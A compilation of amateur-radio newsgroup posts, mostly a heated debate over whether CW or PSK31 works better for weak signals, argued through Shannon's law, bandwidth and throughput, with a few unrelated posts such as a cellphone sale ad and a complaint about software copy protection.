conditions over a much wider range than is possible with
manual CW.

> In a bandwidth optimized for CW, CW can be
> copied under conditions where PSK cannot.

This is absolute BULL$HIT, Dick. PSK has a natural 6dB
advantage over CW at the same maximum power level. The
fact that you cannot copy 50wpm CW through a 31Hz
filter proves you are absolutely wrong.

> There is NO
> adjustment available in current PSK implementations.

Then implement one, Dick. That's like saying a car cannot
go anywhere when it has a flat and no spare tire, therefore
cars cannot go anywhere. PSK31 is just one implementation
of PSK and a very, very simple one at that. Every
implementation has its advantages and disadvantages.

> So I'm on the air, tune in a PSK31 signal which is too
> weak to lock and print, then the CW ID comes, which I *can*
> copy quite well. I can/'t work the station on-the-air on

> times.

And that does not change the fact that you are wrong. You
are still insisting on comparing apples and oranges. You
cannot get a true comparison between CW and PSK until
you implement them with the *same parameters* in Shannon's
law - *same* bandwidth, *same* time to transmit the *same*
number of bits, and the *same* S/N ratio. Otherwise, I can
use your exact logic to prove that SSB is vastly superior
to CW.

Here's the example of your logic: I am running 1.5kw on SSB
and getting through while you are running 1.5w on CW and are
not getting through. Dick's logic says SSB is superior to
CW. That is your EXACT logic, Dick, yet you will scream
that I am not comparing apples and apples yet that is exactly
what you insist on doing for 20wpm CW Vs PSK31. See how
stupid and ignorant your argument is?

> Next I guess you will say that if the PSK had been at a
> 20wpm rate I would have been able to lock and print it, Hey?

Yep, that's entirely probable even though CW would still have
an unfair 2/1 advantage in bandwidth. One way to approximate
an even playing field would be to send each character
five times using PSK31 and if any three characters agreed
perfectly, to print that as a single character. That would
be a pretty easy experiment to run and would approximate
an even playing field between 20wpm CW and PSK31 thus
comparing apples to apples.

> I Don't Think so. But it makes no difference. It wasn't and
> I was not able to. And we'll never know if a practical

That's the thing about knowledge, Dick. Knowledge tells us
that if you are hit by an oncoming truck, you will be injured
or killed. No need to experiment but, in your case, it would
do the gene pool a favor.

> The pertinent question is why do all you geeks fear 20wpm
> CW so much???

You must not be allowed to spread the myth that the earth is
flat and is the center of the universe. Some naive young person
might be mislead down the path to a lifetime of absolute ignorance.

I should have said 20wpm CW has an UNFAIR 4/1 advantage over PSK31
just as 1.5kw SSB has an unfair advantage over 1.5w CW.

The PSK31 source code is available so you could just change the
modulation frequency. (I've forgotten a lot about PSK and need
to review the BPS Vs bandwidth issue.)

Dana H. Myers K6JQ wrote:

> What's your real point, Dick?

Actually its pretty simple. To those hams who are NOT designers of advanced communications systems, mainly the interest is in completing communications. When you say that the "Best" mode is the one that *fails* to work alongside one that does, at the exact same power level, and you insist that the failed mode is indeed the most efficient, you might as well expect to be called upon to prove it. And you're starting from a position of proven failure! Then when you do prove it mathematically, you still haven't overcome the demonstrated failiure beside the working mode *at the same power output level*. It reminds one of the mathmatician who very capably "proved" that he was as old as his Grandfather, in seemingly-logical mathematical steps.

Then add the critical fact that ALL of those posting all these "efficiency" assertions here on RRAP are those who clearly have demonstrated their hatred for Morse code, the fact that the mode which DID work was CW just compounds an already involved, suspect situation. When people express hatred of CW then proceed to criticise amd trash it --and all who support it--using "theory" that is nonexistant in amateur radio literature, and almost as obscure elsewhere, even in engineering literature not of fairly recent publication, the enigma only grows.

One would hope that all those who live and breath nothing but digital theory can understand that you certainly are in the minority of ham radio operators. You really need to find a better solution to the problem of getting your message out, lest it be lost in all the QRM.
Which is sure to only increase as ham radio licenses become much easier to obtain.

Dick C

Yes. Bill DeCarle's Coherent and Africa work in that speed range.
My homebrew setup (described here many times) works in that
speed range (12 WPM), or slower (I've used up to 100 second bit
times, IE about 0.12 WPM). Integrate and dump gain is approximately
proportional to the square root of the integration time.

>Just wondering how a phase shift keying signal will survive the
>libration fading of the EME, I guess that FSK should be more suitable
>for this type of path.

Right. PSK31 suffers from HF multipath. You can see it on the tuning
indicator when operating well below the MUF. On transpolar paths it
can be very bad when the geomagnetic field is disturbed. The multipath
causing libration fading is much worse still, so PSK31 is very unlikely
to work well for EME.

Multitone wide shift FSK, coded to spread the information bits over
several transmission symbols, is much better for this sort of path.
(You get both frequency diversity gain and code diversity gain with
this technique.) As I recall, N4HY, KA9Q, and others worked on this
sort of system for EME.

I recall seeing a blurb that N4HY, and an Italian station whose call
escapes me at the moment, successfully made this work on an EME
path using Oscar 10 class stations several years ago. It met strong
opposition from the traditional "by hand and by ear" EME crowd, however.
It appears that most EME operators *like* having to have huge arrays
and big amplifiers. They are resistant to techniques which don't require
them.

The rationale often given is that it "removes the challenge" from EME.
I suppose that would be true if the modems were treated as black boxes.
But coding the modems is certainly a challenge, even if done cookbook
fashion, IE the same way most amateurs homebrew amps and antennas.

It seems to me that the major "challenge" it removes is financial, since
these techniques let operators, without the room or resources to erect

a monster EME setup, make EME contacts with relatively modest antennas
and power levels.

I presume the PSK carrier was being sent at the same power level as the CW signal. With the PSK carrier staying on and shifting up and down very slightly in frequency, and the CW carrier turning on and off, I have some trouble seeing how you could hear one and not the other. If you can't hear the station's carrier when it's moving ever so slightly, you shouldn't be able to hear whether it's turning on an off either.

The only explanations I can think of is that the PSK was being sent at a lower power level, or there was some slow QSB on the path. I don't know. What is your learned explanation?

It is indeed sent at a lower equivalent power level, Jim. The PSK31
signal is at an equivalent -12dB compared to the CW ID signal.

You don't seem to understand that's about the same as
saying that a 1.5kw SSB signal will beat the socks off
of a 1.5w CW signal. Therefore, SSB is superior to CW.

> And you still dodge the fact that UNDER THE CIRCUMSTANCES
> there *is* a clear advantage to CW at the same power level.

But power level (actually S/N ratio) is only ONE of the
THREE variables. They are all inter-related variables and
are therefore interchangable. The CW ID on a PSK31 signal
has the same advantage as if the power was increased 15 times
just for the CW ID while holding all other parameters equal.

> In a ham radio where the major emphasis is on SSB yakking,
> and that's certain to only worsen as licenses become easier
> to get, it won't go well at all.

That's because USING DICK CARROLL'S LOGIC, SSB is extremely
superior to CW in every way. All one has to do is run QRO
SSB Vs QRP CW to prove that fact USING DICK CARROLL'S LOGIC.

> When hams experience what I
> just did -copying the CWID when the PSK won't make it-, your
> "efficiencies" seem very elusive indeed.

Dick, the CW ID on PSK31 is sent at the equivalent of 15 times
the power level of the PSK31 signal. That's almost 12dB. No
wonder you can copy it better than the computer can copy PSK31.

> And, from a standpoint of accomplished communications, it
> just *doesn't compute* that the "better" mode is the one
> you're NOT able to copy at the same power level!!! Yeah,
> Right!!! No wonder you guys draw so many sidelong looks.

Keep the power the same on the CW ID and increase the power by
12dB on the PSK31 signal and then report the results after the
playing field is leveled. You must understand the science by
now and are just sandbagging.

Again, power level is only one of three inter-related parameters.
If they are not all equal, then the playing field is not level.
Your being able to copy the CW ID, which has an equivalent 12dB
power advantage, is like saying a 150w SSB signal is easier to
copy than a 1w CW signal. It's true but it is also meaningless.

Thanks to DICK CARROLL'S LOGIC, SSB can be proven to be superior
to CW every time. That follows from ignoring any of the throughput
parameters.

Since you apparently do not have the computer skills to determine this for yourself I'll help you. Every time you defrag the disk you have to reinstall the software. You cannot easily make a backup copy of the floppy disk. If you backup and restore your hard disk you have to reinstall ADMS. This is abusive copy protection. I got so fed up with it I hacked the copy protection in self defense. But naturally since Clint is satisfied all this crap is just fine. Give it break Clint I'll send you a buck buy a clue.

Well then, there it is.

I don't know if you're implying there is essentially a 12dB reduction in transmitted power, or are saying the 2 S unit difference is only on the receive end. You've certainly demonstrated to my satisfaction that PSK31 is capable of demodulating signals that might be 12dB or so below a discernable CW signal. But I'm not convinced that accounts for a perceived difference in their relative signal strengths. Both signals are nearly monochromatic in relation to the width of the receive filter in this case - in fact, you've shown that the PSK signal is actually narrower. That should increase it's likelihood of being discernable. So what exactly do you mean by equivalent power level?

I'm finally thinking about how this mode might actually work now. Let's see if I'm anywhere even close. The audio from the sound card is modulating the carrier in single sideband mode I presume. If the percentage of modulation is very low - the audio tones would not drive the rig to full power. Am I correct in assuming this is something that would be adjustable? If the radio then switched modes to CW, the carrier would be at 100% power at a narrower bandwith, making the CW a noticeably louder signal.

But if the radio is used in the single sideband mode, how is the CW ID really generated? If it is done using MCW rather than an OOK carrier in CW mode (which I suspect it must be due to the lack of a facility to switch modes during a transmission), then the relative amplitude of the PSK and CW audio modulating signals would be something that is controlled in software. The CW audio could quite easily have been set higher than the PSK audio. If that was the case, then Dick's imperical exercise shows us nothing about how robust one mode is with respect to the other, and that the ensuing explanations were also to some extent misdirected.

Thanks and 73, Jim AC6XG

Gary, I concur with your point completely. I have never understood why some (not all) who take on a particular challenge seem to feel that no other challenge is worth doing, or, even worse, that those taking on different challenges are somehow detracting from their particular challenge. Hey, it IS a challenge to manually dig that signal out of the noise, it IS a challenge to manually do a moonbounce QSO, or meteor scatter, or HF QRP. But it is ALSO a challenge to design the hardware and software that extends human capability. Both are worth doing, both bring satisfaction to the challengee and neither takes away one bit from the accomplishments of the other.

I'm almost certain to regret this, but here's my two cents' worth.

What we have in this thread are two warring camps, attempting to use technology (or the distrust of it) to address the supercharged emotional issue of Morse as a requirement in Amateur Radio. Though the technical descriptions given have been pretty accurate, no amount of technical data, demonstration, etc., is going to change anybody's mind.

First, the technocrats (I'm one of these). From a technical perspective, the fact that the CW ID can be copied when the PSK31 signal cannot be consistently printed is entirely predictable. PSK's design parameters -- acceptable speed for keyboard operation (50 wpm) and very narrow bandwidth (31 Hz) make the tradeoff of roughly an S unit a quite reasonable one. It works in the real world exactly as theory predicts. Summarizing Mr. Shannon, there "ain't no free lunch." It also appears to be very resistant to QRM -- given adequate dynamic range in the DSP, it should be possible to copy very weak signals very close to very strong ones. In terms of other digital modes, it's a dramatic improvement over FSK. It's also apparent that a sub-optimal (per the above criteria) version of PSK can outperform Morse as a weak-signal mode at the same throughput. At the moment there's no real need for it (other than to attempt to "resolve" this silly conflict), but it'll come along, probably as a "fall-back" mode to be used under poor band conditions. Peter has done the amateur community a great service by making the mode open -- the source code is readily available for any of us to improve, modify, etc. In a sense, this is the first opportunity for hams to really experiment with the "guts" of a mode in a very long time -- brought to us by very inexpensive, powerful DSP technology.

No matter how you look at it, 50 wpm in 31 Hz is quite an achievement. But establishing as fact that we can create a digital mode that performs better in a weak signal environment than Morse isn't going to magically make the Morse requirement, or its rationale, go away. Morse will continue to be a very effective mode (even if not the most efficient) and it requires very simple equipment. Today, if I were stranded on a desert island, I'd want a CW rig and a battery. That may very well change over the next few years.

On the other side of the field are the Morse advocates (I'm also one of these). Morse has been my favorite mode for a very long time. At the same time, it's inevitable that it will decline in popularity over the years, just as manual transmissions in cars are giving way to automatics [I still drive manuals, even though their advantages have been wiped out by electronics and traction control in recent years -- another personal preference]. We'll still find CW signals on the bands (assuming there are bands) twenty years hence -- hopefully I'll be around to be one of them. But the bands will hopefully also

be full of strange buzzes -- modes that haven't been imagined yet. We as amateurs have a fascinating challenge/opportunity -- to squeeze as much out of the bands we are allocated as possible. Data, voice, video, ...??? We're just now being given the first of the tools we need to advance the state of our art without the resources of multi-billion-dollar corporations. Within a few years, I expect to be able to take a palmtop computer with a plug-in multi-mode digital radio and communicate as easily and reliably as I do with my CW QRP radio today.

Unfortunately, we're right on track to turn away many of those best qualifed -- and motivated -- to lead the way. The brainpower that's been wasted on this thread in the past few days could surely have been used more productively -- we might have a couple of entirely new modes by now. Morse is the only mode in which we test for "proficiency." It's peculiar indeed that our highest class license provides mostly spectrum allocated to our most basic mode. My observation is that most who have to struggle to pass the 13- and 20-wpm tests quickly abandon it -- it's not enjoyable to them, or not relevant to their interests. Either the bug "bites" -- like it did me -- or not. Those who find CW enjoyable will get to 13, 20, and beyond without need of further testing. Five wpm is pretty much "memorizing" the Morse alphabet -- perhaps equivalent to our testing for other modes. Most don't use it -- just as most don't use their acquired knowledge of EME, slow-scan TV, oscillator design, etc. The exam process exposes us to a wide range of opportunities, and we pursue those of most interest to us. Others we leave behind, perhaps to "brush up" and return to them years -- or decades -- later. We should test for 5 wpm, and add more difficult questions on modern modes. Surely an Extra Class licensee should understand the concepts behind vocoders, for example.

I'm a member of an active radio club. It's very disconcerting to look around the room at a meeting and observe the age of the attendees. There are very few in their teens and 20's; that wasn't the case a couple of decades ago. At 47, I'm one of the "young" guys -- that's scary. I know a lot of very bright teenagers -- ham radio isn't too "difficult" for them, and they're not "lazy;" it's just irrelevant, particularly the Morse requirement. The talent of youth out there is incredible, and the Internet does eventually lose its appeal (especially for the smarter, more creative types). These are some issues we need to ponder seriously and realistically. Let's not let the "in your face" attitude on both sides cause us to abandon reason -- our survival really is at stake. Tradition is great stuff, but has no valid place in the licensing process.

The question isn't whether Morse will decline over the coming years -- it will, regardless of what we do. The question is whether there will be anybody else around to notice.

73,
Don
K9DM

Believe me, when the Commission needs to do something, it has a way of finding the troops to do it. "Think harder, work smarter...."

I should know - my job there was finding and coordinating troops for special targeted operations (I was chief of enforcement in San Francisco for 18 years). Some involved the amateur service, most involved other services.

You are right - smell the roses, and make sure what you are smelling is not yourself being held over the coals.

Set Bcw*Tcw*log2(1+Scw/N) = Bpsk*Tpsk*log2(1+Spsk/N) to level the
playing field between CW and PSK31. Bcw=20*2.5=50Hz. Tcw=1/20wpm.
Bpsk=31Hz. Tpsk=1/50wpm. Let Scw/N=1. Solve for Spsk. By my
calculations, Spsk is 1/15 or almost 12dB below the CW signal.
This, of course, to put the two modes equally close to Shannon's
limit. B is bandwidth. T is 1/wpm. S is signal strength. N is noise.

> I'm finally thinking about how this mode might actually work now. Let's
> see if I'm anywhere even close.

Nope, not close. I'm assuming the radiated power is the same in both
cases. But the wider bandwidth and lower baud rate of the CW signal,
i.e. the inefficiency of the CW signal, penalize PSK31 to the tune of
an equivalent 12dB power difference. To compare 20wpm CW and PSK we
need a PSK50 mode that runs at 20wpm. I'm cogitating how to do that now.

Let's compare SSB and CW the same way. Set Bcw*Tcw*log2(1+Scw/N) =
Bssb*Tssb*log2(1+Sssb/N) and solve for Sssb. You will see why CW
has an advantage over SSB to the tune of about 18dB or about 3
'S' units. Dick will love the SSB-CW calculation although he
hates the PSK-CW calculation.

Hi Don, I agree 100% with your posting. CW is my favorite mode. I don't particularly like ham radio keyboard modes. I'm an edit, think, edit, think, edit, think, publish kind of guy when it comes to keyboards.

So back to the topic. What little I know about Audio BPSK tells me that if I reduce the throughput, I also automatically reduce the bandwidth. The best I've been able to come up with for PSK50 is to send each character ten times and vote - or send each group of characters ten times and vote. Should make for a super reliable mode.

The outcome is scientifically predictable. One of the differences
is you cannot copy the CW ID with a strong PACTOR station 50Hz
away but PSK31 just chugs right along. You cannot ignore every-
thing outside the PSK31 passband while PSK31 can.

> I still believe that
> "suboptimal" implementation was probably a factor.

It's not "suboptimal" for a 50wpm mode, Dick. There's no such
thing as a free lunch. With 2.5 times the throughput of 20wpm
CW, it does exactly what it was designed for. It was NOT
designed to compete with 20wpm CW. It was designed to have
a throughput that only a handfull of human beings can
accomplish with CW and do it in 25% of the bandwidth that
a human operator would need for a 50wpm CW signal.

Dick Carroll wrote:
> But there was so such power disparity...The power output
> on both CWID and PSK31 was identical...You've got to get the
> power disparity entirely through 'theory'...

Again, there are three sources of disparity, bandwidth, time (1/wpm or 1/bps), and signal power (assuming noise power is constant). These three disparities are interchangable. Limiting PSK31 to a bandwidth of 31Hz and choosing a 50wpm data rate is exactly like requiring it to be 12dB more powerful than 20wpm CW. There ain't no such thing as a free lunch. PSK50 running at 20wpm is the only PSK that you can compare to 20wpm CW and have an identical playing field. I plan to implement PSK50 to demonstrate its capabilities. I suspect the 6dB advantage that PSK has over OOK will just about equal the human advantage over the machine but we will see.

> I'm
> still puzzled why the CW came through when PSK would not.

Because it had the equivalent of a 12dB power advantage.

> Why wouldn't PSK work
> too? It wasn't even "too weak to hear".

You can't say that unless you were listening through a 31Hz filter. If you could indeed hear it through a 31Hz filter then the DSP implementation is probably not the best. I haven't looked at the source code or heard anyone critique it. There are as many kinds of DSP implementations as there are DSP programmers. I tend to be a brute force DSP programmer but I know there are better ways to do it.

> If your entire point is just that CW worked at identical
> power output level when PSK couldn't, because it was at such
> a severe disadvantage that it couldn't, that speaks rather
> poorly of the weaksignal performance of the PSK modes, IMO.

Given the physics limitations of 31Hz and 50wpm, it does exactly what it was designed to do. Wait for my PSK50 before you rag on PSK.

> I would have expected it to do much better, as in the stated
> assertions that "digital modes work at signal levels one
> cannot hear". Evidently this is incorrect, if this
> experience means anything.

You still don't understand, Dick. There's no such thing as a free lunch. If we run PSK50 at 20wpm, the performance will be four times as good as PSK31, guaranteed. But it won't be as popular as PSK31 because nobody wants to type 20wpm on a keyboard. 50wpm was chosen as a normal typing speed. 31Hz fell out from that. Everything else was perfectly predictable.

> So what became of the "Digital signals work at levels
> lower than a human can hear"???

I guarantee that PSK100 running at 5wpm will work at levels lower than a human can hear. PSK31 WAS NOT DESIGNED TO WORK AT LEVELS LOWER THAN A HUMAN CAN HEAR!!! It was designed to run at 50wpm in 31Hz. Please read this paragraph over and over until it soaks in. Peter had no plan to beat CW. He wanted something akin to and better than TTY.

> Methinks the sandbagging is coming from your direction.

Nope, I only sandbagged about the definition of microprocessor. :-)

> If
> not, then please explain why PSK doesn't "work at signal
> levels too weak to hear" as you've insisted so often.

PSK can and does work at levels too weak to hear, Dick. PSK31 does not and was never intended or designed to. What is so hard about this that you fail to understand? Nobody has ever claimed that PSK31 will work below audible levels. It was not designed to and it doesn't. The math tells us exactly why PSK31 doesn't work below audible levels. I guarantee you that PSK100 running at 5wpm will work below audible levels because it will have the same advantage over CW that CW has over SSB.

> I grasp the science. I believe some of you insist that the
> science is somewhat better than it actually is.

The science is what it is. It is the human being that may actually be somewhat better than I predicted. My ears are not the best in the world.

> That is hardly "high speed testing".

The only objective justification for Morse testing at all is that we signed
an international treaty that says that we will test our amateurs prior to
granting them a license for HF radio. It's hard to imagine why anyone should
be denied access to HF spectrum on the basis of how fast they can do Morse
code, particularly when spectrum granted by passing such exams are not
exclusively Morse frequencies. That seems unnecessarily discriminatory.

Then Dick why can't you then admit that that Code testing is a Morse Code welfare system then at least you'd be being honest about the matter. If Morse Code can only survive by continued testing then it can not survive long with code testing. Have you noticied that the numbers of Code tested hams is declining? If Morse Code is dependant on continued testing then it doomed. I OTH don't think it is dependant on testing. It will IMO decline further in relitive use if code testsing is ended, but so what? You still can't pose a senario where we end up harmed by the steady decline in the numbers of Morse tested hams. You can't come up with anything that prevent the use of CW with the ending of testing except a belief, unsupported by anything lciaming to evedence, except the vague fear that Morse Will end with the end of testing. Have you heard the word paranoia?

: 73, Cecil, W6RCA http://www.bigfoot.com/~w6rca

If you use a DSP narrow filter and a receiver DSP CW filter in combination (the IC-756 can be narrowed to 80 Hz) and then use the outboard DSP to really zero in on your (now, very slow speed CW) desired signal you should be able to almost do as good as a very slloooow typer using PSK ;-)))) Of course the PSK guy could just type at =>50 WPM and outrun the CW guy anyway (with DC's permission of course ;))

Maybe that combination can be corerced to "ignore" Shannon's LAW and we -can- receive 50 WPM at 10 Hz B/W ;-))))))) After all, a DSP unit shouldn't "know" or have read anything about Shannon =8O

> are irrelevant to hams?

Jim, Please try to understand. I believe that my outlook on this situation represents a far greater number of licensed ham radio operators, even those who DO have technical qualifications, than most of you who are graduates in engineering or physics will ever represent, and most of you don't seem to understand that or its implications for the future. I have no technical degree, but you must understand that I am no novice.

My problem with all this is simple. *Under the conditions that I was operating* at the time that I was able to copy the CWID and not the PSK signal, it seems very clear to me that the CW signal would have to have had an efficiency edge over PSK for it to be copyable while PSK was not. But still the technical elite insist that this is not so, rather that there was no "level playing field" and "apples and oranges". It really does destroy the credibility of their entire argument. If the reason that CW was copyable while PSK was not is in fact that CW *Did* have an efficiency advantage *under those circumstances*, they should just say so instead of continuing the incessant CW-bashing-at-all-costs routine.

Yes- I know well of the advantages of receiving with a narrow bandwidth, and the advantages of phase shift modulation. But the narrow bandwidth filter has been said -several times here- to be present within the PSK31 program in DSP. Yet it did not serve to cause the PSK signal to be copyable while the CW signal was, in its own wideband environment. So *under those circumstances* it appears that all the information theory is working against itself. Cecil says that in order for a comparison to be valid, one must force the CW signal through the 31 cycle filter, which would of course render *it* also uncopyable. So what remains is total confusion, and the very apparent defeat of workable communications just to preserve the theory. Are you really surprised that I find all that to be ludicrous?

Motorola M75 Digital Cellular Phone

Unit is New has 99 alpha Number Storage Works with the PCS TDMA System
Comes with 1 High Cap NMiH Battery & 1 Slim Line NICK Cadmium Battery
Wall Charger.
This Phone Has A Built In Rapid Charger.

Also Comes with A Hands Free Kit With will charge the battery
Comes with remote mic to put on your visor and a remote speaker
It also Provides an external antenna connector
Asking $275.00 For all

For more Info On the M75 Click Here
http://www.mot.com/GSS/CSG/Products/TDMA/m75.html

If interested E-mail Me At ST1A55@msn.com Thanks!!

: transmit a full-duplex, encrypted, digital signal? If the answer is no,
: then why is the amateur market so technologically far behind cellular?
Amateur radio is not really technologically far behind cellular. Take a
gander at the frequency that the cell system uses and you will see how
such a small device can have the ability to run full duplex. Then look at
the size of the duplexers that you need for say 2 meter full duplex
operation. By the way, in the ancient past car phones used to run in the
400 meg ranges and they had a trunk full of equeipment, well not full but
a rather large transciever/duplexer unit back there to accomplish this.
Physical size of components in the system are very decisive factors in the
game. Not so much the technological ability.

> surprised that I find all that to be ludicrous?

Cecil doesn't just say this, so does Shannon. If you're
going to make a relevant comparison, you have to keep either
the bandwidth constant, or the throughput constant. A PSK31
signal is about 31Hz wide, so let's use that. A normally-shaped
OOK signal in the same bandwidth would be about (31 / 4) * 1.2
-> ~10WPM. PSK31/Varicode gives something like 50WPM in
the same bandwidth.

This part isn't confusing, it least it shouldn't be.

I personally believe it is very difficult to make objective
comparisons of a mode that is manually copied (Morse) and
an automatic mode (PSK31), so comparisons seem rather specious
to me, which is perhaps where the confusion comes from.

What's your real point, Dick? Don't worry about Cecil, Shannon
or anything else, just tell me what you're trying to prove. If
you're suggesting that OOK Morse sometimes works better than
PSK31, I might be inclined to agree, but everything I've read
so far indicates the comparison you're making isn't relevant.
You seem to be ignoring of objective factors (actual throughput)
and subjective factors (type of text being sent, duration of
test), and that makes the conclusion rather specious.

Dick Carroll wrote:

: Jim, Please try to understand. I believe that my outlook on
:this situation represents a far greater number of licensed
:ham radio operators, even those who DO have technical
:qualifications, than most of you who are graduates in
:engineering or physics will ever represent, and most of you
:don't seem to understand that or its implications for the
:future. I have no technical degree, but you must understand
:that I am no novice.
:
: My problem with all this is simple. *Under the conditions
:that I was operating* at the time that I was able to copy
:the CWID and not the PSK signal, it seems very clear to me
:that the CW signal would have to have had an efficiency edge
:over PSK for it to be copyable while PSK was not.

Hello Dick...

What do you consider criteria for EFFICIENCY? Is a slower data rate more efficient? Is a wider bandwidth more efficient? Is a higher power level more efficient? NO, OF COURSE NOT!

I believe what you mean is that it got through and that was the criteria that you used for success. If that's the case then rewrite your account and conclusions of the day and DON'T use the word efficient. I know it's a conudrum but the INEFFICIENCY of CW is what allowed it to be copied by you. If you write your conclusions with that in mind you'll have a much better chance of us agreeing with your conclusions.

:But still
:the technical elite insist that this is not so, rather that
:there was no "level playing field" and "apples and oranges".
:It really does destroy the credibility of their entire
:argument. If the reason that CW was copyable while PSK was
:not is in fact that CW *Did* have an efficiency advantage
:*under those circumstances*, they should just say so instead
:of continuing the incessant CW-bashing-at-all-costs routine.

That's an INEFFICIENCY advantage, Dick. :-)
It's not CW bashing at all it's reality street (this is not Sesame Street).

: Yes- I know well of the advantages of receiving with a
:narrow bandwidth, and the advantages of phase shift
:modulation. But the narrow bandwidth filter has been said
:-several times here- to be present within the PSK31 program
:in DSP. Yet it did not serve to cause the PSK signal to be
:copyable while the CW signal was, in its own wideband
:environment. So *under those circumstances* it appears that
:all the information theory is working against itself.

No, you're working against yourself, just call 'a spade a spade' and you'll see that CW has more headroom than will ever be used by humans meaning the mode will only be as efficient as humanly possible (unless you put a machine at both ends)! :-)

: Cecil says that in order for a comparison to be valid, one
:must force the CW signal through the 31 cycle filter, which
:would of course render *it* also uncopyable. So what remains
:is total confusion, and the very apparent defeat of workable
:communications just to preserve the theory. Are you really
:surprised that I find all that to be ludicrous?

Just take a different tact and say 'I, Dick C, am wrongly using the word efficient' then you'll be able to type some truisms here and we will agree with you. What you said happened, did happen, but why it happened is not because of efficiency, it was because of brute force.

:> But the fact that there are better ways to encode and transmit data does
:> not necessarily argue that hams shouldn't possess at least some ability
to
:> do it manually. It only argues that hams should perhaps also be required
:> to able to use the more advanced modes. From that, we might actually see
:> an improvement in the Amateur Service.

It goes without saying that self-improvement is a good thing and realizing that CW is not more efficient than all other modes is on that road. CW by humans is an inefficient use of the mode itself; a machine could make better use of the bandwidth and power by cranking up the data rate.

I know, we'll have a go at it... I'll program the computer and you can be 'John Henry'. ;-)

You don't say whether you have your receiver set to RTTY mode or to SSB mode and whether you are using USB or LSB. You may have the signal upside down. Try using your software to change between 'normal' and 'reverse' and see if that helps. Also, ham signals are mainly 170 cps shift, make sure your TNC/Software is set for that. Try 14.080 to 14.090 HF 45 baud.

You don't seem to understand that's about the same as saying that my Volkswagen will pull as big a load as your Mack truck, but first you've got to "level the playing field" by getting rid of the Mack's diesel engine and installing a "fair" equivalent little fourbanger in its place....

No wonder so many hams-who are not theorists/engineers are put off by all this --it may be theoretically factual, but it is nonsensical to say to a communicator that equivalent CWID/PSK31 signals of identical power output are not "equal".

And you still dodge the fact that UNDER THE CIRCUMSTANCES there *is* a clear advantage to CW at the same power level. Most people would say that when comparing two modes at the same power level, the one that works is the most efficient.

You'll have a very hard sell, trying to convince all the world's hams that efficiencies on the order of those involved here are truly worthwhile for anything more than a novelty in the ARS. Excepting the QRP crowd, hams have never been all that big on tiny, marginal signals regardless of theoretical "efficiencies".

In a ham radio where the major emphasis is on SSB yakking, and that's certain to only worsen as licenses become easier to get, it won't go well at all. When hams experience what I just did -copying the CWID when the PSK won't make it-, your "efficiencies" seem very elusive indeed. Even when we KNOW that there is an entirely different level of operation involved. Remember, I've actually worked PSK31 on the air, and this sure looks weird to me. The first impression is that it is fraudulent.

And, from a standpoint of accomplished communications, it just *doesn't compute* that the "better" mode is the one you're NOT able to copy at the same power level!!! Yeah, Right!!! No wonder you guys draw so many sidelong looks.

When rotten band conditions and interference run the noise and interference on the S-meter well into the red, it does take an act of faith to believe that the puny signals such as are involved here will do anything at all. Your work is cut out. There'll be *many* hams who just won't believe it. It'll take *lots* of proof, on the air. Being able to copy the CWID when you can't print the PSK31 doesn't help at all.

And since the actual power level was the same, the
shortfall then is within the more efficient modulation mode.
The "best" mode wouldn't work while the most ancient and
"Obsolete" mode did.

Yeah, I understand. The Mathematical theory of
communication says that it's a mix of SNR, bandwidtbh and
type of modulation that determines what works best at lowest
power level. That's a primary reason why I was surprised
that the PSK wouldn't lock and print. I still believe that
"suboptimal" implementation was probably a factor.

I'm afraid this little episode doesn't enhance the status
of the "superefficient" modes at all. Your assertion of the
12dB "advantage" of CW, running at the same power level, in
circumstances where the CW was copyable but the PSK was not,
just naturally rings hollow, even if accurate.

But there was so such power disparity...The power output on both CWID and PSK31 was identical...You've got to get the power disparity entirely through 'theory'...

It's difficult to accept that PSK, using the narrow DSP filter built into the software wouldn't function better. It appears to me that we had 1) the SNR advantages,2) with narrow filtering 3) the modulation mode advantages. I'm still puzzled why the CW came through when PSK would not. You seem to indicate that the requirements of PSK were not being met, but you don't say how nor why. It looks to me like they WERE met. What was missing? Why wouldn't PSK work too? It wasn't even "too weak to hear".

If your entire point is just that CW worked at identical power output level when PSK couldn't, because it was at such a severe disadvantage that it couldn't, that speaks rather poorly of the weaksignal performance of the PSK modes, IMO. I would have expected it to do much better, as in the stated assertions that "digital modes work at signal levels one cannot hear". Evidently this is incorrect, if this experience means anything.

It would be enlightening for others using PSK31 to see how their similar experiences unfold. Springtime static levels may soon make similiar conditions difficult to find. Perhaps different computers processing all the data a little differently produce variable results.

Methinks the sandbagging is coming from your direction. If
not, then please explain why PSK doesn't "work at signal
levels too weak to hear" as you've insisted so often.
I grasp the science. I believe some of you insist that the
science is somewhat better than it actually is.

Wouldn't be the first time, and the "cause" is right (in
your opinion).

Sorry your system is so instable...I regularly degfragment my systems, with
noi such problem with ADMS as you have encountered.

After installation, I file my original diskettes away...no need to make an
"archival" copy for any reason.

Translation: The law of gravity may be accurate, but it just doesn't look right to me, and it's not very efficient, so I'm going to jump off this building rather than walk down 20 flights of stairs. After all, in the first ten feet I won't be going very fast, and I won't have any problem at all until I get to the street, so I'll worry about that when I get there.

> What is your learned explanation?

Jim, it was a rather novel situation. The 20 meter band was
very quiet and stable, and the only signals that I heard
were from Europe. Hearing a weak PSK31 signal, I decided to

try to work the station. It was a Briton, and try as I might I could never get the signal to lock in and begin to print. It appeared to be strong enough, and it did appear clearly, though faintly, on the waterfall tuning display. Then he signed over-and over came the CW ID- It was very clear, and I wrote down the callsign so that I would have it if I was able work him. He was apparently calling CQ, as he repeated several times, and each time I was able to copy the CWID but not able to print, although the signal was properly tuned in, AFC on, and I could see no reason for it not to print. That station left the frequency, and soon I heard others. I wrote down a total of 8 European callsigns, all on PSK31 in the area of 14.070 khz, all of whom I could copy the CWID and on only a perhaps three occasions was I able to print anything at all--it would print a word or part of a word, obviously trying, but no go. I did not see any hint of QSB or other obvious problem or instability.

I don't know the answer but I think it was just a case of the implementation of the PSK31 program, the total system, including the sending station's and my computer receiving hardware, merely was not adequately optimized to handle the signal at that particular weak level.
If there had been only one or two stations involved, I'd have not thought much of it, as I have seen that situation before on individual weak stations. But when it works essential the same on eight stations at one session, something more is almost certainly involved. My explanation is only a considered evaluation based on several successfull contacts, and of course I will try it again when possible. Maybe Peter, G3RZP I believe his callsign is, who made PSK31 available to us can shed some light on some of this.

One sees differences on PSK signals. One station I worked had a bad case of IMD sidebands on his 'diddle' but none on his transmitted data. Another had the same on everything he transmitted. Some seem to possibly be undermodulated. In short, setup levels and specific hardware alter the operation considerably. All this plays into the true efficiency as opposed to the theoretical, of course.

Cecil --

